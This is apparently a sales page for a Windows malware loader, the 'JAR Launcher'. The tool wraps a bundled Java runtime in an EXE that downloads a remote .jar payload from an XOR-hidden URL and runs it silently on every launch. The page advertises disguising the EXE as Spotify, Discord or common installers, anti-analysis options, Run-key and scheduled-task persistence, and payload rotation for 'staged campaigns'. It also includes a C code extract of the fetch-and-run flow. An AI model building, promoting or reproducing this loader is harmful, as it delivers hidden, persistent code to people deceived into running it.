JAR Launcher.

PE Wrapper · .exe

A native Windows EXE wrapper that bundles a minimal Java runtime and, at execution time, fetches your .jar payload from an HTTPS URL. Targets run Java code regardless of whether they have Java installed — no pop-ups, no manual JRE install, no "Java is not recognized" errors. The JAR itself is never embedded in the binary.

Bundled JRE

Runtime Included

URL JAR fetch

Remote Payload

x86 / x64

Architectures

Native EXE

PE Wrapper

Overview

What is the JAR Launcher?

The JAR Launcher packages a minimal-footprint Java runtime inside a single native Windows executable. At runtime, the launcher unpacks the bundled JRE to a temp location, fetches your .jar payload from the configured HTTPS URL, then invokes javaw.exe on the freshly-downloaded JAR — fully transparent to the user.

This is a URL-only delivery model. The .jar bytecode is never embedded in the wrapper, keeping the static binary small and free of Java signatures. It also lets you swap, rotate, or revoke the payload server-side without rebuilding the launcher.

Bundled JRE — no install dialog, no reliance on system Java
JAR fetched over HTTPS at launch — no Java bytecode in the EXE
x86 and x64 launcher builds; matched JRE bitness
Custom icon & metadata for visual spoofing

Execution Flow

How the launcher works.

STEP 01

Provide JAR URL

URL-only. Host your .jar on an HTTPS endpoint. The launcher fetches and runs it on every execution.

STEP 02

Pick JRE

Choose minimal JRE: 8, 11, 17, 21 (LTS lines). Builder bundles only required modules.

STEP 03

Configure Wrapper

Visual spoof, hidden console, anti-analysis options, launch parameters.

STEP 04

Build EXE

Output: native .exe bundling the JRE only — the JAR stays on your server.

Technical Details

Under the hood.

Bundled Minimal JRE

Uses jlink-style modular JRE (Java 11+) trimmed to only modules your JAR needs — typically 25–40 MB instead of full 200+ MB.

Native EXE Wrapper

Launch4j-style native bootstrap: extracts the JRE to %TEMP%, fetches the JAR over HTTPS, then spawns javaw.exe -jar against the downloaded artifact.

HTTPS JAR Fetch

JAR is downloaded at every launch from the configured URL. URL is XOR-encoded inside the binary; resolved at runtime. Optional TLS pinning and custom User-Agent.

Server-Side Rotation

Because the JAR lives on your server, you can swap, version, or geo-gate the payload without rebuilding the EXE. Useful for staged campaigns and revocation.

Cleanup & Persistence

Optional post-execution cleanup of the temp JRE/JAR. Optional persistence variants (Run-key, scheduled task) configurable at build.

Visual Spoof

Custom icon, version-info, manifest. Optional cloning of common-app metadata (Spotify, Discord, common installers).

launcher.c · simplified extract + invoke

int WinMain(...) {
    ExtractEmbeddedJRE("%TEMP%\\rt");
    FetchJAR(Dec(URL_ENC, KEY),
             "%TEMP%\\app.jar");     // HTTPS download
    SpawnHidden("%TEMP%\\rt\\bin\\javaw.exe",
                 "-jar %TEMP%\\app.jar");
    return 0;
}

Specifications

Module specs.

Output Format	Native Windows PE (`.exe`) bundling a trimmed JRE; JAR fetched at runtime
Delivery Mode	URL only — JAR is fetched over HTTPS at every launch. No local-embed mode.
Architectures	x86 · x64 (matched JRE bitness)
OS Compatibility	Windows 7 / 8.1 / 10 / 11
JRE Versions	Java 8 · 11 · 17 · 21 (LTS lines)
JRE Trimming	`jlink` modular trimming — 25–40 MB typical
Networking	HTTPS fetch · XOR-encoded URL · Optional TLS pinning & custom User-Agent
Console	Hidden (`javaw.exe`) or visible (`java.exe`)
Visual Spoof	Custom icon + version-info; common-app cloning
Persistence	Optional Run-key / Scheduled task / Startup-folder